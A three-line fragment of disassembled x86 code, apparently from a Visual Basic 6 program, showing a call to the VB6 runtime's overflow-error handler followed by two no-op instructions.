call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop